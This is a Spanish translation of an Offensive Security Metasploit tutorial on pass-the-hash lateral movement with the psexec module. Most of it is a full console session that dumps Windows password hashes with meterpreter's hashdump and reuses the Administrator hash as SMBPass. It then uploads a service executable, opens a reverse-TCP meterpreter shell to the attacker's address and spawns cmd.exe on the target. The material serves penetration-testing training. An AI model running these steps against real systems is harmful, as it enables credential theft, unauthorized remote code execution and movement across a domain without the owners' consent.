PSExec Pass the Hash

De www.metasploit-es.com.ar

PSExec Pass the Hash


Un módulo que no es muy conocido es la capacitad de ejecutar PSEXEC en Metasploit. El módulo de PSEXEC es a menudo usado por Pentesters para obtener acceso a un sistema, siendo que este ya conoce sus credenciales. Este módulo fue escrito por Sysinternals y se ha integrado en el Framework. Los pentesters solemos, ó hemos ,logrado tener completo acceso a un sistema a través de algunos exploits, utilizando meterpreter para agarrar las contraseñas u otros métodos como fgdump, pwdump, o cachedump y utilizando el rainbowtables para crackear los valores hash.

Tambien tenemos otras opciones, como por ejemplo pasar el hash a través de herramientas como el iam.exe. Un gran método de PSEXEC en Metasploit es que le permite introducir la contraseña en si, solo con los valores. O sea simplemente basta con especificar los valores del hash, no hay necesidad de cracks para obtener acceso al sistema. Ahora vamos a pensar profundamente acerca de cómo podemos utilizar este tipo de ataque para continuar con la penetración.

Decirte primero que comprometer un sistema que tiene una contraseña de administrado, no necesita crack con PSEXEC porque este nos permite utilizar solamente los valores hash, esa cuenta de administrador será la misma en cada cuenta dentro de la infraestructura del dominio. Ahora podemos pasar de un sistema a otro sin tener que preocuparte de tener que crackear nada. Una nota muy importante sobre esto es que si NTLM sólo está disponible (por ejemplo, su contraseña es de 15 caracteres o + a través de GPO que especifican respuestas NTLM solamente) , basta con sustituir el ****NOPASSWORD**** por 32 0's, por ejemplo:


******NOPASSWORD*******:8846f7eaee8fb117ad06bdd830b7586c
Would be replaced by:
00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c
[*] Meterpreter session 1 opened (192.168.57.139:443 -> 192.168.57.131:1042)

meterpreter > use priv
Loading extension priv...success.
meterpreter > hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
meterpreter >

Ahora que tenemos una consola Meterpreter y los hash´s dumpeados , podemos conectarnos a las diferentes víctimas utilizando PSEXEC y los valores hash solamente.

root@bt4:/pentest/exploits/framework3# ./msfconsole

                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                           /|
                           \|


       =[ metasploit v3.3-rc1 [core:3.3 api:1.0]
+ -- --=[ 412 exploits - 261 payloads
+ -- --=[ 21 encoders - 8 nops
       =[ 191 aux

msf > search psexec
[*] Searching loaded modules for pattern 'psexec'...

Exploits
========

   Name                       Description
   ----                       -----------
   windows/smb/psexec         Microsoft Windows Authenticated User Code Execution
   windows/smb/smb_relay      Microsoft Windows SMB Relay Code Execution

msf > use windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.133
LHOST => 192.168.57.133
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 192.168.57.131
RHOST => 192.168.57.131
msf exploit(psexec) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.57.131   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPass                   no        The password for the specified username
   SMBUser  Administrator    yes       The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     192.168.57.133   yes       The local address
   LPORT     443              yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \KoVCxCjx.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \KoVCxCjx.exe...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)

meterpreter > execute -f cmd.exe -i -c -H
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>  

Eso es todo! Hemos logrado conectar en un equipo independiente con las mismas credenciales, sin tener que preocuparnos de rainbowtables o de craquear la contraseña. Aprovecho para agradecer a "Chris Gates" por la documentación sobre este tema.



© Offensive Security 2009

Original by www.offensive-security.com
Traslated by FreeInfo
Herramientas personales